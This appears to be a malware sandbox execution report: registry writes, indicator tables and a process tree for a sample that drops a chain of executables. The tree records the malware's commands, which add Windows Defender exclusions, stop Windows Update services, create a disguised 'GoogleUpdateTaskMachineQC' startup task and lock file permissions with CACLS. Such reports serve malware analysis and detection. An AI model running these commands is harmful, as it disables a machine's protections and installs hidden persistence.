Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2445638973-2158012892-84912826-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063"	MicrosoftEdge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2988	AppLaunch.exe
2988	AppLaunch.exe
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE
3092	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3092	Explorer.EXE

Suspicious behavior: MapViewOfSection 17 IoCs

pid	Process
2988	AppLaunch.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeDebugPrivilege	3980	F00C.exe
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeDebugPrivilege	4424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4424	MicrosoftEdgeCP.exe
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE
Token: SeCreatePagefilePrivilege	3092	Explorer.EXE
Token: SeShutdownPrivilege	3092	Explorer.EXE

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
68	MicrosoftEdge.exe
2196	MicrosoftEdgeCP.exe
4424	MicrosoftEdgeCP.exe
2196	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3252 wrote to memory of 2988	3252	2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe	71
PID 3092 wrote to memory of 4492	3092	Explorer.EXE	74
PID 3092 wrote to memory of 4492	3092	Explorer.EXE	74
PID 3092 wrote to memory of 4492	3092	Explorer.EXE	74
PID 4492 wrote to memory of 4772	4492	E29B.exe	75
PID 4492 wrote to memory of 4772	4492	E29B.exe	75
PID 4492 wrote to memory of 4772	4492	E29B.exe	75
PID 3092 wrote to memory of 1584	3092	Explorer.EXE	76
PID 3092 wrote to memory of 1584	3092	Explorer.EXE	76
PID 3092 wrote to memory of 1584	3092	Explorer.EXE	76
PID 4772 wrote to memory of 1696	4772	oo7DB5sS.exe	78
PID 4772 wrote to memory of 1696	4772	oo7DB5sS.exe	78
PID 4772 wrote to memory of 1696	4772	oo7DB5sS.exe	78
PID 3092 wrote to memory of 4168	3092	Explorer.EXE	80
PID 3092 wrote to memory of 4168	3092	Explorer.EXE	80
PID 3092 wrote to memory of 4168	3092	Explorer.EXE	80
PID 1696 wrote to memory of 3900	1696	tw7ns1ae.exe	79
PID 1696 wrote to memory of 3900	1696	tw7ns1ae.exe	79
PID 1696 wrote to memory of 3900	1696	tw7ns1ae.exe	79
PID 3900 wrote to memory of 232	3900	tj4Ai9Tv.exe	81
PID 3900 wrote to memory of 232	3900	tj4Ai9Tv.exe	81
PID 3900 wrote to memory of 232	3900	tj4Ai9Tv.exe	81
PID 232 wrote to memory of 4968	232	Ii5Vj5An.exe	82
PID 232 wrote to memory of 4968	232	Ii5Vj5An.exe	82
PID 232 wrote to memory of 4968	232	Ii5Vj5An.exe	82
PID 4168 wrote to memory of 192	4168	E859.bat	84
PID 4168 wrote to memory of 192	4168	E859.bat	84
PID 3092 wrote to memory of 5032	3092	Explorer.EXE	87
PID 3092 wrote to memory of 5032	3092	Explorer.EXE	87
PID 3092 wrote to memory of 5032	3092	Explorer.EXE	87
PID 3092 wrote to memory of 3980	3092	Explorer.EXE	89
PID 3092 wrote to memory of 3980	3092	Explorer.EXE	89
PID 1584 wrote to memory of 372	1584	E76E.exe	90
PID 1584 wrote to memory of 372	1584	E76E.exe	90
PID 1584 wrote to memory of 372	1584	E76E.exe	90
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 1584 wrote to memory of 3544	1584	E76E.exe	91
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 3092 wrote to memory of 3948	3092	Explorer.EXE	94
PID 3092 wrote to memory of 3948	3092	Explorer.EXE	94
PID 3092 wrote to memory of 3948	3092	Explorer.EXE	94
PID 5032 wrote to memory of 4496	5032	EEC3.exe	93
PID 5032 wrote to memory of 4496	5032	EEC3.exe	93
PID 5032 wrote to memory of 4496	5032	EEC3.exe	93
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95
PID 4968 wrote to memory of 4212	4968	1ux87Zx4.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Users\Admin\AppData\Local\Temp\2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe
  "C:\Users\Admin\AppData\Local\Temp\2b432fb34e9fe610f3221a72ed32cc4ec09c93f5d878022f7fe2005b03b0f74f.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:2988
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 140
    3⤵
    - Program crash
    PID:1264
- C:\Users\Admin\AppData\Local\Temp\E29B.exe
  C:\Users\Admin\AppData\Local\Temp\E29B.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oo7DB5sS.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oo7DB5sS.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4772
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\tw7ns1ae.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\tw7ns1ae.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\tj4Ai9Tv.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\tj4Ai9Tv.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:3900
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Ii5Vj5An.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Ii5Vj5An.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:232
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ux87Zx4.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ux87Zx4.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4968
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:4212
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4968 -s 148
        8⤵
        Program crash
        
        PID:4240
- C:\Users\Admin\AppData\Local\Temp\E76E.exe
  C:\Users\Admin\AppData\Local\Temp\E76E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:372
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:3544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 244
    3⤵
    - Program crash
    PID:2276
- C:\Users\Admin\AppData\Local\Temp\E859.bat
  "C:\Users\Admin\AppData\Local\Temp\E859.bat"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\System32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EBE2.tmp\EBE3.tmp\EBE4.bat C:\Users\Admin\AppData\Local\Temp\E859.bat"
    3⤵
    - Checks computer location settings
    PID:192
- C:\Users\Admin\AppData\Local\Temp\EEC3.exe
  C:\Users\Admin\AppData\Local\Temp\EEC3.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 140
    3⤵
    - Program crash
    PID:4760
- C:\Users\Admin\AppData\Local\Temp\F00C.exe
  C:\Users\Admin\AppData\Local\Temp\F00C.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of AdjustPrivilegeToken
  PID:3980
- C:\Users\Admin\AppData\Local\Temp\F405.exe
  C:\Users\Admin\AppData\Local\Temp\F405.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
    "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
    3⤵
    - Executes dropped EXE
    PID:2264
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:3952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
      4⤵
      PID:32
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:3208
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:N"
        5⤵
        
        PID:2412
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:R" /E
        5⤵
        
        PID:300
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:3660
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        5⤵
        
        PID:4808
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        5⤵
        
        PID:4076
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      4⤵
      Loads dropped DLL
      PID:4640
- C:\Users\Admin\AppData\Local\Temp\34B8.exe
  C:\Users\Admin\AppData\Local\Temp\34B8.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    PID:2768
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:1600
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5528
- - C:\Users\Admin\AppData\Local\Temp\kos1.exe
    "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
    3⤵
    - Executes dropped EXE
    PID:4300
  - - C:\Users\Admin\AppData\Local\Temp\set16.exe
      "C:\Users\Admin\AppData\Local\Temp\set16.exe"
      4⤵
      Executes dropped EXE
      PID:2716
    - - C:\Users\Admin\AppData\Local\Temp\is-DI4TE.tmp\is-R1LQL.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DI4TE.tmp\is-R1LQL.tmp" /SL4 $502C0 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:4944
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        6⤵
        
        PID:5540
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        7⤵
        
        PID:5688
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        6⤵
        Executes dropped EXE
        
        PID:5552
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        6⤵
        Executes dropped EXE
        
        PID:5708
  - - C:\Users\Admin\AppData\Local\Temp\kos.exe
      "C:\Users\Admin\AppData\Local\Temp\kos.exe"
      4⤵
      Executes dropped EXE
      PID:2912
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    PID:4896
- C:\Users\Admin\AppData\Local\Temp\3A47.exe
  C:\Users\Admin\AppData\Local\Temp\3A47.exe
  2⤵
  - Executes dropped EXE
  PID:1144
- C:\Users\Admin\AppData\Local\Temp\6475.exe
  C:\Users\Admin\AppData\Local\Temp\6475.exe
  2⤵
  - Executes dropped EXE
  PID:824
- C:\Users\Admin\AppData\Local\Temp\68DB.exe
  C:\Users\Admin\AppData\Local\Temp\68DB.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Users\Admin\AppData\Local\Temp\8B0A.exe
  C:\Users\Admin\AppData\Local\Temp\8B0A.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1400
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2920
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:5308
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5344
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5160
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5520
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5432
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:5796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5468
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3420
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4544
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4400
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:5764

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:68

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4064

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2196

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4424

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:2644

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:192

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
- Executes dropped EXE
PID:2244

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1960

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5416

